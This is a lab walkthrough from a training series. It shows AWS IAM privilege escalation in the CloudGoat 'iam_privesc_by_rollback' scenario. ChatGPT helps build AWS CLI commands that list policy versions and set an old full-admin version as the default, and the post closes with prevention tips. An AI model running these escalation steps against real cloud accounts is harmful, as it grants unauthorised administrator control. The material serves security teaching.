

# [DEMO] Exploiting IAM versions

Christophe • August 27, 2023

To switch it up, let's use ChatGPT and the AWS CLI instead of Pacu with this one.

## Launch the lab environment

Let's start by deploying this lab environment:

```
$. /cloudgoat.py create iam_privesc_by_rollback
```

Let's grab the access key information from Terraform's output and configure our AWS CLI:

```
$ aws configure --profile raynor
```

First things first, we need to check our current permissions for the user Raynor. Let's ask ChatGPT how to do that:

```
*ChatGPT Prompt*
> Using the AWS CLI, how do I list the attached IAM policies for my user
```

```
aws iam list-attached-user-policies --user-name my-user
```

This lab's username will look something like this: `raynor-iam_privesc_by_rollback_cgidy1t7bwmv8` although yours might be slightly different, so grab it from Terraform's output.

```
aws iam list-attached-user-policies --user-name raynor-iam_privesc_by_rollback_cgidy1t7bwmv8 --profile raynor
```

OK great, we see what policies are attached to our user:

```
{
  "AttachedPolicies": [
    {
      "PolicyName": "cg-raynor-policy-iam_privesc_by_rollback_cgidy1t7bwmv8",
      "PolicyArn": "arn:aws:iam::272281913033:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidy1t7bwmv8"
    }
  ]
}
```

This command tells us what policies are attached to this user, but we need to be able to see what permissions the policy grants us.

This is actually somewhat of a tricky thing to do with the AWS CLI. You would think that there would be a basic command that would do that, but not really. Instead, you have a couple of options.

Let's ask ChatGPT for some help here:

```
*ChatGPT Prompt*
> What AWS IAM CLI command can I issue to retrieve the details of a user's IAM policy once I have the policy ARN?
```

```
aws iam get-policy --policy-arn <policy-arn>
```

So let's use the command:

```
aws iam get-policy --policy-arn arn:aws:iam::272281913033:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidy1t7bwmv8
```

Which gives us:

```
{
  "Policy": {
    "PolicyName": "cg-raynor-policy-iam_privesc_by_rollback_cgidy1t7bwmv8",
    "PolicyId": "ANPAT6ZKEI3E3IG5CLWC3",
    "Arn": "arn:aws:iam::272281913033:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidy1t7bwmv8",
    "Path": "/",
    "DefaultVersionId": "v1",
    "AttachmentCount": 1,
    "PermissionsBoundaryUsageCount": 0,
    "IsAttachable": true,
    "Description": "cg-raynor-policy",
    "CreateDate": "2023-08-31T16:31:16Z",
    "UpdateDate": "2023-08-31T16:31:17Z",
    "Tags": []
  }
}
```

We get back a useful piece of information with the `DefaultVersionId` because it tells us that our current default policy version id is `v1`.

Next, let's ask ChatGPT how we can retrieve this specific version.

```
*ChatGPT Prompt*
> Thanks! Now is there a way to list the IAM policy using a specific version ID?
```

The first time I asked ChatGPT this question I got a bad response back:

```
As of my last knowledge update in September 2021, AWS IAM does not have a direct API or command to list policies using a specific version ID. When using IAM policies, it's more common to manage and work with the default policy versions.

If you are trying to retrieve policy information using a specific version ID, you typically need to use the get-policy-version command to retrieve details about that specific version. Here's how you would use it:
```

```
aws iam get-policy-version --policy-arn <policy-arn> --version-id <version-id>
Replace <policy-arn> with the ARN of the policy and <version-id> with the version ID of the policy version you want to retrieve.
```

etc...

So we can use this command:

```
aws iam get-policy-version --policy-arn arn:aws:iam::272281913033:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidy1t7bwmv8 --version-id v1 --profile raynor
```

The result:

```
{
  "PolicyVersion": {
    "Document": {
      "Statement": [
        {
          "Action": [
            "iam:Get*",
            "iam:List*",
            "iam:SetDefaultPolicyVersion"
          ],
          "Effect": "Allow",
          "Resource": "*",
          "Sid": "IAMPrivilegeEscalationByRollback"
        }
      ],
      "Version": "2012-10-17"
    },
    "VersionId": "v1",
    "IsDefaultVersion": true,
    "CreateDate": "2023-08-31T16:31:16Z"
  }
}
```

We can see that we have limited access. Now let's check to see if we have more versions available than just v1.

```
*ChatGPT Prompt*
> How can I list all of the policy versions?
```

```
aws iam list-policy-versions --policy-arn <policy-arn>
```

We can use the command:

```
aws iam list-policy-versions --policy-arn arn:aws:iam::272281913033:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidy1t7bwmv8 --profile raynor
```

And it will return multiple policy versions:

```
{
  "Versions": [
    {
      "VersionId": "v5",
      "IsDefaultVersion": false,
      "CreateDate": "2023-08-31T16:31:17Z"
    },
    {
      "VersionId": "v4",
      "IsDefaultVersion": false,
      "CreateDate": "2023-08-31T16:31:17Z"
    },
    {
      "VersionId": "v3",
      "IsDefaultVersion": false,
      "CreateDate": "2023-08-31T16:31:17Z"
    },
    {
      "VersionId": "v2",
      "IsDefaultVersion": false,
      "CreateDate": "2023-08-31T16:31:17Z"
    },
    {
      "VersionId": "v1",
      "IsDefaultVersion": true,
      "CreateDate": "2023-08-31T16:31:16Z"
    }
  ]
}
```

Knowing this, we can now try to list the IAM policies for those version to see if they have higher privileges, starting with v2:

```
aws iam get-policy-version --policy-arn arn:aws:iam::272281913033:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidy1t7bwmv8 --version-id v2 --profile raynor
```

Right away, we can see that this policy version has full admin privileges:

```
{
  "PolicyVersion": {
    "Document": {
      "Version": {
        "Statement": [
          {
            "Action": "*",
            "Effect": "Allow",
            "Resource": "*"
          }
        ]
      },
      "VersionId": "v2",
      "IsDefaultVersion": false,
      "CreateDate": "2023-08-31T16:31:17Z"
    }
  }
}
```

If we look back at the policy we have currently applied to our user, we see that we have access to `iam:SetDefaultPolicyVersion`, so instead, we can try to change our default policy version to this version 2:

```
*ChatGPT Prompt*
> Can I use the results of list-policy-versions to change my default policy version?
```

```
# Set a new default version
aws iam set-default-policy-version --policy-arn <policy-arn> --version-id <new-version-id>
```

We can use the command:

```
aws iam set-default-policy-version --policy-arn arn:aws:iam::272281913033:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidy1t7bwmv8 --version-id v2 --profile raynor
```

If we re-run this prior command:

```
aws iam get-policy --policy-arn arn:aws:iam::272281913033:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidy1t7bwmv8 --profile raynor
```

We'll see that we successfully changed our policy version from `v1` to `v2`:

```
{
  "Policy": {
    "PolicyName": "cg-raynor-policy-iam_privesc_by_rollback_cgidy1t7bwmv8",
    "PolicyId": "ANPAT6ZKEI3E3IG5CLWC3",
    "Arn": "arn:aws:iam::272281913033:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidy1t7bwmv8",
    "Path": "/",
    "DefaultVersionId": "v2",
    "AttachmentCount": 1,
    "PermissionsBoundaryUsageCount": 0,
    "IsAttachable": true,
    "Description": "cg-raynor-policy",
    "CreateDate": "2023-08-31T16:23:36Z",
    "UpdateDate": "2023-08-31T17:23:36Z",
    "Tags": []
  }
}
```

Congrats! You are now an admin user of this AWS account!

## Conclusion and tips

So this scenario is a great example of how someone can elevate their privileges simply by having a misconfigured but seemingly harmless AWS IAM policy assigned to them.

This could commonly happen when a cloud admin goes in and initially sets up the account, and to make it easier they start off with high level privileges and then they go back in and reduce permissions. When versioning like this is enabled, AWS will keep track of that prior version. If the IAM user is configured to set a different policy version, they can exploit this to their advantage as we just saw.

This attack can be prevented and restricted by:

- Deleting other versions of policies
- Restricting access to actions like `SetDefaultPolicyVersion` and `CreatePolicyVersion`

More information about policy versions here: [https://docs.aws.amazon.com/IAM/latest/UserGuide/access\\_policies\\_managed-versioning.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_managed-versioning.html)

Otherwise, that's it for this scenario, you can complete this lesson and move on!